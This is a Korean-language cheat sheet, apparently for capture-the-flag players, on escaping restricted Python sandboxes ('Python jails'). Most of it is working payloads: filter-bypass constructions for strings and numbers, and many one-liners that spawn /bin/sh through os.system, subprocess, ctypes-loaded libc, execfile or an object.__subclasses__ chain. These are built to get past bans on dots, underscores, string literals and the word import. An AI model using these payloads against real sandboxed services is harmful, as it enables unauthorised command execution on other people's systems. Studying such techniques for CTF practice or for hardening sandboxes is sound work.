Python Jail Tips
2019-09-27 / c2w2m2

목차

  • 문자열 만들기
  • 숫자 만들기
  • 문자열 합치기
  • 응용
  • Tips

문자열 만들기

  • chr(0x61) # ‘a’
  • str(1) # ‘1’
  • dir([])[0][2] # ‘a’
    • dir([])만 입력했을 때 결과는 다음과 같고 이를 인덱싱해서 문자열을 얻는 것이다.
      • 1

숫자 만들기

  • ~(()<()) # -1
  • ({}<[])>>({}<[]) # 0
  • ({}<[])<<({}>[]) # 1
  • ({}<[])<<({}<[]) # 2

문자열 합치기

  • 'a'+'b'
  • 'a''b'
  • ''.join(['a','b'])
  • '{}{}'.format('a','b')
  • 'a'.__add__('b')

응용

  • . 을 사용하지 못할경우

    • 1
      exec('__import__("os")\x2esystem("sh")')
    • 1
      getattr(__import__('os'),'system')('sh')
    • 1
      vars(__import__('os'))['system']('sh')
    • 1
      getattr(__import__(dir(__import__("glob"))[23]),dir(__import__(dir(__import__("glob"))[23]))[309])("/bin/sh")
  • _ 를 사용하지 못할경우

    • 1
      exec('\x5f\x5fimport\x5f\x5f("os").system("sh")')
    • 1
      getattr(vars(vars()[dir()[0]])['\x5f\x5fimport\x5f\x5f']('os'), 'system')('sh')
  • 문자열을 사용하지 못할경우

    • 1
      vars(vars()[dir()[0]])[dir(__builtins__)[56]](dir()[1][3]+dir()[0][9]).system(dir(__doc__)[0][5] + dir(__doc__)[5][2])

Tips

  • 파일 경로 알아오기
    • raise(BaseException()) 를 이용

    • 2

  • 필터링 단어 삭제
    • 필터링 체크를 같은 파일 내에서 하고, dir 등을 이용해서 변수명을 가져올 수 있을 경우 del을 이용

    • 3

    • 필터링하는 변수명을 dir()로 알아내고 del로 import를 지운 모습이다.

  • import가 있을 경우 셸 따는 법
    • 1
      __import__("os").system("/bin/sh")
    • 1
      __import__("subprocess").call("/bin/sh")
    • 1
      __import__("ctypes").CDLL('/lib/x86_64-linux-gnu/libc-2.23.so').system("/bin/sh")
      • 서버 우분투 버전에 따라 주소가 다를 수 있는데, 2.23 ~ 2.29까지 숫자만 바꿔보면 된다.
  • execfile 사용
    • execfile('/usr/lib/python2.7/os.py') 처럼 사용할 경우 os 모듈의 함수 사용 가능

      • 주소는 서버 환경에 따라 다를수도 있다.

      • from os import *가 된 것과 동일하기 때문에 system("/bin/sh") 가능

  • open이 필터링 되어있을 때, file 사용
    • file도 open과 같이 파일을 열 수 있는 명령이고 read가 필터링 안되었다면 유용하다.
  • =이 필터링 되어있을 때 변수 선언
    • setattr(__builtins__,'a','b')

      • a = ‘b’와 동일한 표현
  • spawnlp 이용
    • 1
      2
      o = {x.__name__:x for x in object.__subclasses__()}['StreamReaderWriter'].__init__.__globals__['sys'].modules['o'+'s']
      o.spawnlp(o.P_WAIT, 'ls', 'ls', '-l', './')
    • import, system, os 등이 필터링 되어있을 경우 유용하게 사용 가능


레퍼런스

없음


문서 역사

2019-09-27 c2w2m2: 최초 작성

2019-09-27 JSec: 내용 보충